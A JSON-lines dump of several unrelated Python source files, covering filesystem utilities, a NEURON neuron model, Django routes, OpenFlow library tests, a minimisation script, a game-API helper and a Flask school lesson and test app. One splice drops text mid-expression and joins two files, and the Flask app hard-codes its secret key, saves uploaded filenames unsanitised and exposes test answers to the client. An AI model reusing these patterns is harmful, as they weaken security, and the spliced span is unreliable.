temporary directory as a sibling minimizes permissions\n # issues, and maximizes the chance that we're on the same filesystem\n base_dir = os.path.dirname(dest_path)\n td = tempfile.mkdtemp(dir=base_dir)\n try:\n yield Path(td)\n\n # Delete+rename is racy, but EdenFS lacks RENAME_EXCHANGE (t34057927)\n # Retry if we raced with another writer -- i.e., last-to-run wins.\n while True:\n if overwrite and os.path.isdir(dest_path):\n with tempfile.TemporaryDirectory(dir=base_dir) as del_dir:\n try:\n os.rename(dest_path, del_dir)\n except FileNotFoundError: # pragma: no cover\n continue # retry, another writer deleted first?\n try:\n os.rename(td, dest_path)\n except OSError as ex:\n if not (overwrite and ex.errno in [\n # Different kernels have different error codes when the\n # target already exists and is a nonempty directory.\n errno.ENOTEMPTY, errno.EEXIST,\n ]):\n raise\n log.exception( # pragma: no cover\n f'Retrying deleting {dest_path}, another writer raced us'\n )\n break # We won the race\n except BaseException:\n shutil.rmtree(td)\n raise\n","sub_path":"fs_image/fs_utils.py","file_name":"fs_utils.py","file_ext":"py","file_size_in_byte":5381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"425047814","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 29 07:12:38 2017\n\n@author: Greg Kronberg\n\"\"\"\n# imports\n\nfrom neuron import h,gui\n\ndef createcell():\n #=============================================================================\n # Parameters from Migliore 2005 (signal propogation in oblique dendrites)\n #=============================================================================\n Vrest = -65\n dt = 0.1\n gna = .025\n AXONM = 5\n gkdr = 0.01\n celsius = 35.0 \n KMULT = 0.1\n KMULTP = 0.03\n ghd = 0.00005\n vhalfl_prox = -73\n vhalfl_dist = -81\n RaAll = 150\n RmAll = 28000\n ka_grad = 1\n \n #==============================================================================\n # load morphology\n #==============================================================================\n h.load_file('fixnseg.hoc') # load functions required for d_lambda rule used in cell class hoc file\n h.load_file('geo5038804.hoc') # load cell class geometry\n soma = h.soma[0]\n axon = h.axon[0]\n dend_b = h.dendrite\n dend_a_trunk = h.user5\n dend_a_tuft = h.apical_dendrite\n \n \n #==============================================================================\n # soma\n #==============================================================================\n \n soma.Ra = RaAll\n # soma biophysics Hodgkin Huxley\n soma.insert('hh')\n soma.gnabar_hh = 0.12 # Sodium conductance in S/cm2\n soma.gkbar_hh = 0.036 # Potassium conductance in S/cm2\n soma.gl_hh = 0.0003 # Leak conductance in S/cm2\n soma.el_hh = -54.3 # Reversal potential in mV\n \n # biophysics\n # passive\n # passive\n soma.insert('pas')\n soma.g_pas = 5.0/RmAll # passive conductance (S/cm^2)\n soma.e_pas = -65 # leak reversal potential (mV)\n \n # soma biophysics from Migliore 2005 (signal propogation in oblique dendrites)\n soma.insert('na3')\n soma.gbar_na3 = gna\n soma.insert('hd')\n soma.ghdbar_hd = ghd\n soma.vhalfl_hd = vhalfl_prox\n soma.insert('kdr')\n soma.gkdrbar_kdr = gkdr\n soma.insert('kap')\n soma.gkabar_kap = KMULTP\n \n # set origin for distance calculations\n h('access soma')\n h.distance(0,0.5)\n \n #==============================================================================\n # Basal Dendrites\n #============================================================================== \n syn_b = [None]*len(dend_b) \n # loop over dendrite sections\n for a in range(0,len(dend_b)): \n # biophysics Passive\n dend_b[a].Ra = RaAll # axial resistance (units?)\n dend_b[a].insert('pas') # insert passive mechanism\n dend_b[a].g_pas = 5.0/RmAll # passive conductance (S/cm^2)\n dend_b[a].e_pas = -65 # leak reversal potential (mV)\n \n # biophysics from Migliore 2005 (signal propogation in oblique dendrites)\n # h current\n dend_b[a].insert('hd')\n dend_b[a].ghdbar_hd = ghd\n # sodium\n dend_b[a].insert('na3')\n dend_b[a].gbar_na3 = gna\n # delayed rectifier potassium\n dend_b[a].insert('kdr')\n dend_b[a].gkdrbar_kdr = gkdr\n # A-type potassium (proximal)\n dend_b[a].insert('kap')\n dend_b[a].gkabar_kap = 0\n # A-type potassium (distal)\n dend_b[a].insert('kad')\n dend_b[a].gkabar_kad = 0\n \n # channels that vary with distance from soma (distributions from Migliore 2005)\n # loop over segments \n for seg in dend_b[a]:\n # distance from soma\n seg_dist = h.distance(seg.x,sec=dend_b[a])\n # print(seg.x,seg_dist)\n seg.ghdbar_hd = ghd*(1+3*seg_dist/100)\n if seg_dist > 100:\n seg.vhalfl_hd = vhalfl_dist\n seg.gkabar_kad = KMULT*(1+ka_grad*seg_dist/100)\n else:\n seg.vhalfl_hd = vhalfl_prox\n seg.gkabar_kap = KMULT*(1+ka_grad*seg_dist/100)\n \n #==============================================================================\n # synapses\n #==============================================================================\n # Clopath synapses (parameters from Clopath et al. 2010 Nat Neuro)\n syn_b[a] = h.STDPSynCC(dend_b[a](0.5))\n syn_b[a].delay_steps = 5.0 / dt # AP duration in raw number of integration steps\n syn_b[a].gbar=0.01\n syn_b[a].tau_0 = 10 # time constant for filtering membrane potential v (called u in the original)\n syn_b[a].tau_r =15 # time constant for low-pass r\n syn_b[a].tau_y = 114 # time constant for post filter for potentiation\n syn_b[a].A_m = 0.00001 # amplitude for depression\n syn_b[a].A_p = 0.00004 # amplitude for potentiation\n syn_b[a].tetam = -64.9 # threshold for depression \n syn_b[a].tetap = -35 # threshold for potentiation \n \n \n #==============================================================================\n # Apical Dendrites\n #============================================================================== \n syn_a_trunk = [None]*len(dend_a_trunk) \n # loop over dendrite sections\n for a in range(0,len(dend_a_trunk)): \n # biophysics Passive\n dend_a_trunk[a].Ra = RaAll # axial resistance (units?)\n dend_a_trunk[a].insert('pas') # insert passive mechanism\n dend_a_trunk[a].g_pas = 5.0/RmAll # passive conductance (S/cm^2)\n dend_a_trunk[a].e_pas = -65 # leak reversal potential (mV)\n \n # biophysics Migliore 2005 (signal propogation in oblique dendrites)\n # h current\n dend_a_trunk[a].insert('hd')\n dend_a_trunk[a].ghdbar_hd = ghd\n #sodium current\n dend_a_trunk[a].insert('na3')\n dend_a_trunk[a].gbar_na3 = gna\n # delayed rectifier potassium\n dend_a_trunk[a].insert('kdr')\n dend_a_trunk[a].gkdrbar_kdr = gkdr\n # A-type potassium proximal\n dend_a_trunk[a].insert('kap')\n dend_a_trunk[a].gkabar_kap = 0 # set to zero, then change if the synapse meets the \"proximal\" criteria\n # A-type potassium distal\n dend_a_trunk[a].insert('kad')\n dend_a_trunk[a].gkabar_kad = 0 # set to zero, then change if the synapse meets the \"distal\" criteria\n \n # channels that vary with distance from soma\n # loop over segments \n for seg in dend_a_trunk[a]:\n # distance from soma\n seg_dist = h.distance(seg.x,sec=dend_a_trunk[a])\n # print(seg.x,seg_dist)\n seg.ghdbar_hd = ghd*(1+3*seg_dist/100)\n if seg_dist > 100:\n seg.vhalfl_hd = vhalfl_dist\n seg.gkabar_kad = KMULT*(1+ka_grad*seg_dist/100)\n else:\n seg.vhalfl_hd = vhalfl_dist\n seg.gkabar_kap = KMULT*(1+ka_grad*seg_dist/100)\n \n #==============================================================================\n # synapses\n #==============================================================================\n # Clopath\n syn_a_trunk[a] = h.STDPSynCC(dend_a_trunk[a](0.5))\n syn_a_trunk[a].delay_steps = 5.0 / dt # AP duration in raw number of integration steps\n syn_a_trunk[a].gbar=0.05 # peak conductance (uS)\n syn_a_trunk[a].tau_0 = 10 # time constant for filtering membrane potential v (called u in the original)\n syn_a_trunk[a].tau_r =15 # time constant for low-pass r\n syn_a_trunk[a].tau_y = 114 # time constant for post filter for potentiation\n syn_a_trunk[a].A_m = 0.00001 # amplitude for depression\n syn_a_trunk[a].A_p = 0.00004 # amplitude for potentiation\n syn_a_trunk[a].tetam = -64.9 # threshold for depression \n syn_a_trunk[a].tetap = -35 # threshold for potentiation \n \n #==============================================================================\n # Apical tuft dendrites\n #============================================================================== \n syn_a_tuft = [None]*len(dend_a_tuft) \n # loop over dendrite sections\n for a in range(0,len(dend_a_tuft)): \n # biophysics Passive\n dend_a_tuft[a].Ra = RaAll # axial resistance (units?)\n dend_a_tuft[a].insert('pas') # insert passive mechanism\n dend_a_tuft[a].g_pas = 5.0/RmAll # passive conductance (S/cm^2)\n dend_a_tuft[a].e_pas = -65 # leak reversal potential (mV)\n \n # biophysics Migliore 2005 (signal propogation in oblique dendrites)\n # h current\n dend_a_tuft[a].insert('hd')\n dend_a_tuft[a].ghdbar_hd = ghd\n #sodium current\n dend_a_tuft[a].insert('na3')\n dend_a_tuft[a].gbar_na3 = gna\n # delayed rectifier potassium\n dend_a_tuft[a].insert('kdr')\n dend_a_tuft[a].gkdrbar_kdr = gkdr\n # A-type potassium proximal\n dend_a_tuft[a].insert('kap')\n dend_a_tuft[a].gkabar_kap = 0 # set to zero, then change if the synapse meets the \"proximal\" criteria\n # A-type potassium distal\n dend_a_tuft[a].insert('kad')\n dend_a_tuft[a].gkabar_kad = 0 # set to zero, then change if the synapse meets the \"distal\" criteria\n \n # channels that vary with distance from soma\n # loop over segments \n for seg in dend_a_tuft[a]:\n # distance from soma\n seg_dist = h.distance(seg.x,sec=dend_a_tuft[a])\n # print(seg.x,seg_dist)\n seg.ghdbar_hd = ghd*(1+3*seg_dist/100)\n if seg_dist > 100:\n seg.vhalfl_hd = vhalfl_dist\n seg.gkabar_kad = KMULT*(1+ka_grad*seg_dist/100)\n else:\n seg.vhalfl_hd = vhalfl_dist\n seg.gkabar_kap = KMULT*(1+ka_grad*seg_dist/100)\n \n #==============================================================================\n # synapses\n #==============================================================================\n # Clopath\n syn_a_tuft[a] = h.STDPSynCC(dend_a_tuft[a](0.5))\n syn_a_tuft[a].delay_steps = 5.0 / dt # AP duration in raw number of integration steps\n syn_a_tuft[a].gbar=0.05 # peak conductance (uS)\n syn_a_tuft[a].tau_0 = 10 # time constant for filtering membrane potential v (called u in the original)\n syn_a_tuft[a].tau_r =15 # time constant for low-pass r\n syn_a_tuft[a].tau_y = 114 # time constant for post filter for potentiation\n syn_a_tuft[a].A_m = 0.00001 # amplitude for depression\n syn_a_tuft[a].A_p = 0.00004 # amplitude for potentiation\n syn_a_tuft[a].tetam = -64.9 # threshold for depression \n syn_a_tuft[a].tetap = -35 # threshold for potentiation\n\n\n","sub_path":"Migliore 2005/migliore_2005.py","file_name":"migliore_2005.py","file_ext":"py","file_size_in_byte":11120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"149606488","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('accounts/', include('allauth.urls')),\n path('', include('home.urls')),\n path('profile/', include('profiles.urls')),\n path('customer/', include('customers.urls')),\n path('bill/', include('bills.urls')),\n path('invoice/', include('invoices.urls')),\n path('subscription/', include('subscriptions.urls')),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"counter/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"257767135","text":"#!/usr/bin/env python\n# Copyright 2013, Big Switch Networks, Inc.\n#\n# LoxiGen is licensed under the Eclipse Public License, version 1.0 (EPL), with\n# the following special exception:\n#\n# LOXI Exception\n#\n# As a special exception to the terms of the EPL, you may distribute libraries\n# generated by LoxiGen (LoxiGen Libraries) under the terms of your choice, provided\n# that copyright and licensing notices generated by LoxiGen are not altered or removed\n# from the LoxiGen Libraries and the notice provided below is (i) included in\n# the LoxiGen Libraries, if distributed in source code form and (ii) included in any\n# documentation for the LoxiGen Libraries, if distributed in binary form.\n#\n# Notice: \"Copyright 2013, Big Switch Networks, Inc. This library was generated by the LoxiGen Compiler.\"\n#\n# You may not use this file except in compliance with the EPL or LOXI Exception. You may obtain\n# a copy of the EPL at:\n#\n# http://www.eclipse.org/legal/epl-v10.html\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# EPL for the specific language governing permissions and limitations\n# under the EPL.\nimport unittest\n\ntry:\n import loxi.of12 as ofp\nexcept ImportError:\n exit(\"loxi package not found. Try setting PYTHONPATH.\")\n\nclass TestImports(unittest.TestCase):\n def test_toplevel(self):\n import loxi\n self.assertTrue(hasattr(loxi, \"ProtocolError\"))\n self.assertEquals(loxi.version_names[3], \"1.2\")\n ofp = loxi.protocol(3)\n self.assertEquals(ofp.OFP_VERSION, 3)\n self.assertTrue(hasattr(ofp, \"action\"))\n self.assertTrue(hasattr(ofp, \"common\"))\n self.assertTrue(hasattr(ofp, \"const\"))\n self.assertTrue(hasattr(ofp, \"message\"))\n self.assertTrue(hasattr(ofp, \"oxm\"))\n\n def test_version(self):\n import loxi\n self.assertTrue(hasattr(loxi.of12, \"ProtocolError\"))\n self.assertTrue(hasattr(loxi.of12, \"OFP_VERSION\"))\n self.assertEquals(loxi.of12.OFP_VERSION, 3)\n self.assertTrue(hasattr(loxi.of12, \"action\"))\n self.assertTrue(hasattr(loxi.of12, \"common\"))\n self.assertTrue(hasattr(loxi.of12, \"const\"))\n self.assertTrue(hasattr(loxi.of12, \"message\"))\n self.assertTrue(hasattr(loxi.of12, \"oxm\"))\n\nclass TestCommon(unittest.TestCase):\n sample_empty_match_buf = ''.join([\n '\\x00\\x01', # type\n '\\x00\\x04', # length\n '\\x00\\x00\\x00\\x00', # padding\n ])\n\n def test_empty_match_pack(self):\n obj = ofp.match()\n self.assertEquals(self.sample_empty_match_buf, obj.pack())\n\n def test_empty_match_unpack(self):\n obj = ofp.match.unpack(self.sample_empty_match_buf)\n self.assertEquals(len(obj.oxm_list), 0)\n\n sample_match_buf = ''.join([\n '\\x00\\x01', # type\n '\\x00\\x3C', # length\n '\\x80\\x00', # oxm_list[0].class\n '\\x20\\x02', # oxm_list[0].type_len\n '\\x00\\x35', # oxm_list[0].value\n '\\x80\\x00', # oxm_list[1].class\n '\\x05\\x10', # oxm_list[1].type_len\n '\\xFE\\xDC\\xBA\\x98\\x76\\x54\\x32\\x10', # oxm_list[1].value\n '\\xFF\\xFF\\xFF\\xFF\\x12\\x34\\x56\\x78', # oxm_list[1].mask\n '\\x80\\x00', # oxm_list[2].class\n '\\x08\\x06', # oxm_list[2].type_len\n '\\x01\\x02\\x03\\x04\\x05\\x06', # oxm_list[2].value\n '\\x80\\x00', # oxm_list[3].class\n '\\x36\\x10', # oxm_list[3].type_len\n '\\x12' * 16, # oxm_list[3].value\n '\\x00' * 4, # padding\n ])\n\n def test_match_pack(self):\n obj = ofp.match([\n ofp.oxm.udp_dst(53),\n ofp.oxm.metadata_masked(0xFEDCBA9876543210, 0xFFFFFFFF12345678),\n ofp.oxm.eth_src([1,2,3,4,5,6]),\n ofp.oxm.ipv6_dst(\"\\x12\" * 16),\n ])\n self.assertEquals(self.sample_match_buf, obj.pack())\n\n def test_match_unpack(self):\n obj = ofp.match.unpack(self.sample_match_buf)\n self.assertEquals(len(obj.oxm_list), 4)\n self.assertEquals(obj.oxm_list[0], ofp.oxm.udp_dst(53))\n self.assertEquals(obj.oxm_list[1], ofp.oxm.metadata_masked(0xFEDCBA9876543210, 0xFFFFFFFF12345678))\n self.assertEquals(obj.oxm_list[2], ofp.oxm.eth_src([1,2,3,4,5,6]))\n self.assertEquals(obj.oxm_list[3], ofp.oxm.ipv6_dst(\"\\x12\" * 16))\n\nclass TestOXM(unittest.TestCase):\n def test_oxm_in_phy_port_pack(self):\n import loxi.of12 as ofp\n obj = ofp.oxm.in_phy_port(value=42)\n expected = ''.join([\n '\\x80\\x00', # class\n '\\x02', # type/masked\n '\\x04', # length\n '\\x00\\x00\\x00\\x2a' # value\n ])\n self.assertEquals(expected, obj.pack())\n\n def test_oxm_in_phy_port_masked_pack(self):\n import loxi.of12 as ofp\n obj = ofp.oxm.in_phy_port_masked(value=42, value_mask=0xaabbccdd)\n expected = ''.join([\n '\\x80\\x00', # class\n '\\x03', # type/masked\n '\\x08', # length\n '\\x00\\x00\\x00\\x2a', # value\n '\\xaa\\xbb\\xcc\\xdd' # mask\n ])\n self.assertEquals(expected, obj.pack())\n\n def test_oxm_ipv6_dst_pack(self):\n import loxi.of12 as ofp\n obj = ofp.oxm.ipv6_dst(value='\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0d\\x0f')\n expected = ''.join([\n '\\x80\\x00', # class\n '\\x36', # type/masked\n '\\x10', # length\n '\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0d\\x0f', # value\n ])\n self.assertEquals(expected, obj.pack())\n\nclass TestAllOF12(unittest.TestCase):\n \"\"\"\n Round-trips every class through serialization/deserialization.\n Not a replacement for handcoded tests because it only uses the\n default member values.\n \"\"\"\n\n def setUp(self):\n mods = [ofp.action,ofp.message,ofp.common,ofp.oxm]\n self.klasses = [klass for mod in mods\n for klass in mod.__dict__.values()\n if hasattr(klass, 'show')]\n self.klasses.sort(key=lambda x: str(x))\n\n def test_serialization(self):\n expected_failures = []\n for klass in self.klasses:\n def fn():\n obj = klass()\n if hasattr(obj, \"xid\"): obj.xid = 42\n buf = obj.pack()\n obj2 = klass.unpack(buf)\n self.assertEquals(obj, obj2)\n if klass in expected_failures:\n self.assertRaises(Exception, fn)\n else:\n fn()\n\n def test_show(self):\n expected_failures = []\n for klass in self.klasses:\n def fn():\n obj = klass()\n if hasattr(obj, \"xid\"): obj.xid = 42\n obj.show()\n if klass in expected_failures:\n self.assertRaises(Exception, fn)\n else:\n fn()\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"py_gen/tests/of12.py","file_name":"of12.py","file_ext":"py","file_size_in_byte":6982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"173002351","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 16 12:51:43 2019\r\n\r\n@author: Michael\r\n\"\"\"\r\n\r\nfrom math import exp\r\nfrom math import sin\r\nfrom math import pow\r\n\r\ndef f(x,y):\r\n z=0.000\r\n z = exp(sin(50.0*x)) + sin(60.0*exp(y)) + sin(80.0*sin(x)) + sin(sin(70.0*y)) - sin(10.0*(x+y)) + (x*x+y*y)/4.0\r\n return z\r\n\r\ncounter=.001\r\nprint(str(counter))\r\nx=-1.000\r\nxmin=-1.000\r\ny=-1.000\r\nymin=-1.000\r\nf_min=0.000\r\nminFinal=-0.00001\r\nwhile(x<=1.000):\r\n x=x+counter\r\n print(x)\r\n y=-1.000\r\n #print('in loop x'+str(x))\r\n while(y<=1.000):\r\n y=y+counter\r\n f_min=f(x,y)\r\n #print(str(f_min))\r\n if(f_min 1):\n bestTimeIndex=0\n highestTime=0\n for index in range(len(withCurrentDates)):\n if (int(times[withCurrentDates[index]]) > int(highestTime)):\n highestTime = times[withCurrentDates[index]]\n bestTimeIndex = index\n return bestTimeIndex\n\n #default to the first item if there is none dated today\n else:\n return 0\n \ndef InvokeWebhose(): #to be called every x hours to update the game\n #randomise site used for source\n ranSite = random.randint(0, len(websites) - 1)\n currentWebsite = websites[ranSite]\n\n #get the latest of each type and second character is offset of first\n currentLocation = locations[GetCurrent(\"LOCATION\")]\n charInd = GetCurrent(\"CHARACTERS\")\n currentCharacterOne = characters[charInd]\n try:\n currentCharacterTwo = characters[charInd+1]\n except IndexError:\n currentCharacterTwo = characters[charInd-1]\n currentGameMode = gamemodes[GetCurrent(\"GAMEMODE\")]\n\n #create array of settings to return to main part of server\n settings = []\n settings.append(currentLocation)\n settings.append(currentCharacterOne)\n settings.append(currentCharacterTwo)\n settings.append(currentGameMode)\n settings.append(currentWebsite)\n return settings\n\ndef ReformatDate(date):\n date = date[:4] + '-' + date[4:]\n date = date[:7] + '-' + date[7:]\n return (date)\n","sub_path":"server/WebhoseAPI.py","file_name":"WebhoseAPI.py","file_ext":"py","file_size_in_byte":6644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"110675786","text":"import os\nimport datetime\nimport random\nfrom flask import Flask, render_template, redirect, url_for, request\nfrom flask_login import current_user, LoginManager, login_user, logout_user, login_required\nfrom flask_restful import Api\nfrom data.db_session import global_init, create_session\nfrom data.models.lessons import Lessons, lessons_to_students\nfrom data.models.users import Users\nfrom data.models.teachers import Teachers\nfrom data.models.students import Students\nfrom data.models.a_class import AClasses\nfrom data.models.tasks import Tasks\nfrom data.models.lessons_to_students import LessonsToStudents\nfrom forms import LoginForm\nfrom api.lessons_resources import LessonsResources, LessonsListResources\nfrom api.tasks_resources import TasksResources, TasksListResources\nfrom api.users_resources import UsersResources, TeachersListResources, StudentsListResources\nfrom api.classes_resources import AClassResource, AClassListResource\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '0e294ca639af91b8aaefcdd6ccdbd9b1'\napi = Api(app)\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n\ndef find_shadow(user):\n session = create_session()\n if user.role == 'Student':\n return session.query(Students).filter(Students.user_id == user.id).first()\n elif user.role == 'Teacher':\n return session.query(Teachers).filter(Teachers.user_id == user.id).first()\n\n\ndef randomize_questions(n):\n reference = [1, 2, 3, 4]\n result = []\n for i in range(n):\n random.shuffle(reference)\n result += reference\n return result\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n session = create_session()\n return session.query(Users).get(user_id)\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n session = create_session()\n user = session.query(Users).filter(Users.email == form.email.data).first()\n if user and user.check_password(form.password.data):\n login_user(user, remember=form.remember_me.data)\n return redirect(\"/\")\n return render_template('login.html',\n message=\"Неправильный логин или пароль\",\n form=form)\n return render_template('login.html', title='Авторизация', form=form, url_for=url_for)\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n return redirect(\"/\")\n\n\n@app.route('/')\n@app.route('/home')\ndef home():\n if not current_user.is_authenticated:\n return redirect(\"/login\")\n return render_template('home_page.html', current_user=current_user, shadow=find_shadow(current_user))\n\n\n@app.route('/classes')\ndef classes():\n if not current_user.is_authenticated:\n return redirect(\"/login\")\n if current_user.role == \"Student\":\n return redirect(\"/\")\n\n shadow = find_shadow(current_user)\n\n session = create_session()\n a_classes = session.query(AClasses).all()\n for cl in a_classes:\n cur_lessons_list = []\n for ls in session.query(Lessons).filter(Lessons.to_class == cl.id).all():\n if ls.lesson_date == datetime.datetime.today().date():\n cur_lessons_list.append(str(ls.id))\n cl.cur_lessons_list = ', '.join(cur_lessons_list)\n session.commit()\n\n lessons = {}\n\n session = create_session()\n a_classes = session.query(AClasses).all()\n for cl in a_classes:\n cur_lessons_list = cl.cur_lessons_list.split(\", \")\n lessons[cl.title] = [session.query(Lessons).filter(Lessons.id == int(les)).first() for les in cur_lessons_list\n if les]\n\n return render_template('classes.html',\n current_user=current_user,\n shadow=shadow,\n a_classes=a_classes,\n lessons=lessons)\n\n\n@app.route('/timetable')\ndef timetable():\n if not current_user.is_authenticated:\n return redirect(\"/login\")\n if current_user.role == \"Teacher\":\n return redirect(\"/\")\n\n session = create_session()\n shadow = find_shadow(current_user)\n\n cl = session.query(AClasses).get(shadow.in_class)\n cur_lessons_list = []\n\n for ls in session.query(Lessons).filter(Lessons.to_class == cl.id).all():\n if ls.lesson_date == datetime.datetime.today().date():\n cur_lessons_list.append(str(ls.id))\n\n cl.cur_lessons_list = ', '.join(cur_lessons_list)\n session.commit()\n\n session = create_session()\n cur_lessons_list = [i for i in cl.cur_lessons_list.split(\", \") if i]\n lessons = [session.query(Lessons).filter(Lessons.id == int(les)).first() for les in cur_lessons_list]\n\n return render_template('timetable.html', current_user=current_user,\n lessons=lessons, shadow_id=str(shadow.id), none_check=lambda x: x is not None)\n\n\n@app.route('/lessoncreate/', methods=['GET', 'POST'])\ndef lessoncreate(class_id):\n if not current_user.is_authenticated:\n return redirect(\"/login\")\n if current_user.role == \"Student\":\n return redirect(\"/\")\n\n if request.method == 'GET':\n return render_template('lessoncreate.html', url_for=url_for, class_id=class_id, message='')\n elif request.method == 'POST':\n files_data = request.files.to_dict()\n files_paths = {}\n\n text_data = request.form.to_dict()\n file = []\n\n if not request.form['date']:\n return render_template('lessoncreate.html', url_for=url_for,\n class_id=request.form['class_id'], message=\"Обозначьте дату\")\n elif len(text_data.keys()) <= 4:\n return render_template('lessoncreate.html', url_for=url_for,\n class_id=request.form['class_id'], message=\"Добавьте хотя бы один параграф\")\n\n shadow = find_shadow(current_user)\n\n for input_name in files_data.keys():\n file_prefix = int(datetime.datetime.today().timestamp())\n filepath = os.path.join(\"static\", \"img\", str(file_prefix) + \"_\" + files_data[input_name].filename)\n files_paths[input_name] = str(file_prefix) + \"_\" + files_data[input_name].filename\n files_data[input_name].save(dst=filepath)\n\n for key in [i for i in files_data.keys() if i[-1].isdigit()] + [i for i in text_data.keys() if i[-1].isdigit()]:\n file.insert(int(key[-1]) - 1, key)\n\n file_prefix = int(datetime.datetime.today().timestamp())\n with open(f\"lessons/{file_prefix}_lesson.txt\", \"w\") as f:\n f.write(f\"{text_data['lsnm1']}\\n\")\n for key in file[1:]:\n try:\n f.write(text_data[key].replace(\"\\n\", \"\"))\n except Exception:\n f.write(f\"\\n[{files_paths[key]}]\\n\")\n\n session = create_session()\n lesson = Lessons(title=request.form['lsnm1'],\n to_subject=shadow.taught_subject,\n to_class=request.form['class_id'],\n lesson_date=datetime.date(*[int(item) for item in request.form['date'].split('-')]),\n author=shadow.id,\n role=request.form['role'],\n lesson_file=f\"{file_prefix}_lesson.txt\")\n\n session.add(lesson)\n session.commit()\n return redirect(f'/testcreate/{lesson.id}')\n\n\n@app.route('/testcreate/', methods=['GET', 'POST'])\ndef testcreate(lesson_id):\n if not current_user.is_authenticated:\n return redirect(\"/login\")\n if current_user.role == \"Student\":\n return redirect(\"/\")\n\n if request.method == 'GET':\n return render_template('testcreate.html', url_for=url_for, lesson_id=lesson_id, message=\"\")\n elif request.method == 'POST':\n data = request.form.to_dict()\n\n print(data)\n\n if len(data) < 21:\n return render_template(\"testcreate.html\", url_for=url_for,\n lesson_id=request.form['lesson_id'],\n message=\"Тест должен содержать минимум 4 вопроса\")\n\n file = []\n shadow = find_shadow(current_user)\n lesson_id = request.form['lesson_id']\n for key in data:\n if \"qst\" in key:\n file.insert(int(key[-1]) - 1, (key,\n f\"wrn1-{key[-1]}\",\n f\"wrn2-{key[-1]}\",\n f\"wrn3-{key[-1]}\",\n f\"rgh4-{key[-1]}\"))\n file_prefix = int(datetime.datetime.today().timestamp())\n with open(f\"tasks/{file_prefix}_task.txt\", \"w\") as f:\n for key in file:\n f.write(data[key[0]] + \"\\n\")\n f.write(f\"[{data[key[1]]}]\" + \"\\n\")\n f.write(f\"[{data[key[2]]}]\" + \"\\n\")\n f.write(f\"[{data[key[3]]}]\" + \"\\n\")\n f.write(f\"[{data[key[4]]}]\" + \"\\n\")\n f.write(\"|NewQuestion|\\n\")\n task = Tasks(to_subject=shadow.taught_subject,\n to_lesson=lesson_id,\n task_date=datetime.datetime.today().date(),\n task_file=f'{file_prefix}_task.txt')\n session = create_session()\n session.add(task)\n session.commit()\n\n lesson = session.query(Lessons).get(lesson_id)\n lesson.to_task = task.id\n session.commit()\n return redirect('/')\n\n\n@app.route('/readlesson/')\ndef readlesson(lesson_id):\n if not current_user.is_authenticated:\n return redirect(\"/login\")\n if current_user.role == \"Teacher\":\n return redirect(\"/\")\n\n session = create_session()\n lesson = session.query(Lessons).get(lesson_id)\n with open(f\"lessons/{lesson.lesson_file}\") as f:\n data = f.readlines()\n for line in range(len(data)):\n data[line] = data[line].strip(\"\\n\")\n\n return render_template('readlesson.html', data=data,\n current_user=current_user,\n url_for=url_for,\n to_task=lesson.to_task)\n\n\n@app.route('/readtest/', methods=['GET', 'POST'])\ndef readtest(task_id):\n if not current_user.is_authenticated:\n return redirect(\"/login\")\n if current_user.role == \"Teacher\":\n return redirect(\"/\")\n\n if request.method == 'GET':\n session = create_session()\n task = session.query(Tasks).get(task_id)\n with open(f\"tasks/{task.task_file}\") as f:\n data = f.readlines()\n for line in range(len(data)):\n data[line] = data[line].strip(\"\\n\")\n qst_list = []\n file = []\n for line in data:\n line = line.strip('\\n')\n if line == \"|NewQuestion|\":\n file.append(qst_list)\n qst_list = []\n else:\n qst_list.append(line.strip(\"[\").strip(\"]\"))\n rand = randomize_questions(len(file))\n return render_template('readtest.html', data=file,\n current_user=current_user, rand=rand,\n right_answers=\"\".join([str(i % 4 + 1) for i in range(len(rand)) if rand[i] == 4]),\n task_id=task_id)\n elif request.method == 'POST':\n mark = 0\n for i, r in enumerate(request.form[\"right_answers\"]):\n if request.form[str(i + 1)] == r:\n mark += 1\n mark = int((mark / len(request.form[\"right_answers\"])) * 100)\n\n if mark >= 75:\n session = create_session()\n task = session.query(Tasks).get(request.form[\"task_id\"])\n lesson = session.query(Lessons).get(task.to_lesson)\n completed_by = lesson.completed_by\n if completed_by is None or not completed_by:\n completed_by = []\n else:\n completed_by = completed_by.split(\", \")\n shadow = find_shadow(current_user)\n if str(shadow.id) not in completed_by:\n completed_by.append(str(shadow.id))\n lesson.completed_by = \", \".join(completed_by)\n\n new_conn = LessonsToStudents(lessons_id=lesson.id, students_id=shadow.id, mark=mark)\n session.add(new_conn)\n session.commit()\n added_conn = session.query(LessonsToStudents).get(1)\n print(added_conn.students, added_conn.lessons)\n return render_template('result.html', mark=mark)\n\n\n@app.route('/students')\ndef students():\n if not current_user.is_authenticated:\n return redirect(\"/login\")\n if current_user.role == \"Student\":\n return redirect(\"/\")\n\n shadow = find_shadow(current_user)\n session = create_session()\n sts = [st for st in session.query(Students).filter(Students.in_class == shadow.a_class)]\n return render_template('students.html', 